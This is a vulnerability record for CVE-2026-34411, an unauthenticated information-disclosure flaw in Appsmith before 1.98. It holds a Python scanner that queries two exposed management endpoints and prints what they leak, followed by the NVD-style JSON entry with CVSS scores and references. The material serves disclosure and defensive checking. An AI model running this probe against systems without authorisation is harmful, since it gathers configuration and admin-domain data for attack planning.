CVE-2026-34411

import requests def check_vulnerability(target_base_url): """ Checks if the target Appsmith instance is vulnerable to CVE-2026-34411. Attempts to access sensitive management endpoints without authentication. """ vulnerable_endpoints = [ "/api/v1/consolidated-api/view", "/api/v1/tenants/current" ] headers = { "User-Agent": "CVE-2026-34411-Scanner/1.0" } print(f"[+] Checking target: {target_base_url}") for endpoint in vulnerable_endpoints: url = f"{target_base_url.rstrip('/')}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] VULNERABLE: Sensitive data disclosed at {url}") print(f" Response Preview: {response.text[:200]}...") else: print(f"[-] Status {response.status_code} for {url}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:80" check_vulnerability(target)

{"cve": {"id": "CVE-2026-34411", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:30.527", "lastModified": "2026-03-31T16:26:41.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Appsmith versions prior to 1.98 expose sensitive instance management API endpoints without authentication. Unauthenticated attackers can query endpoints like /api/v1/consolidated-api/view and /api/v1/tenants/current to retrieve configuration metadata, license information, and unsalted SHA-256 hashes of admin email domains for reconnaissance and targeted attack planning."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:appsmith:appsmith:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.98", "matchCriteriaId": "2EA03D6C-2783-4EC7-A1FF-ECD2CB1825A0"}]}]}], "references": [{"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-qvvc-prjx-f85j", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/appsmith-unauthenticated-instance-configuration-disclosure-via-management-apis", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}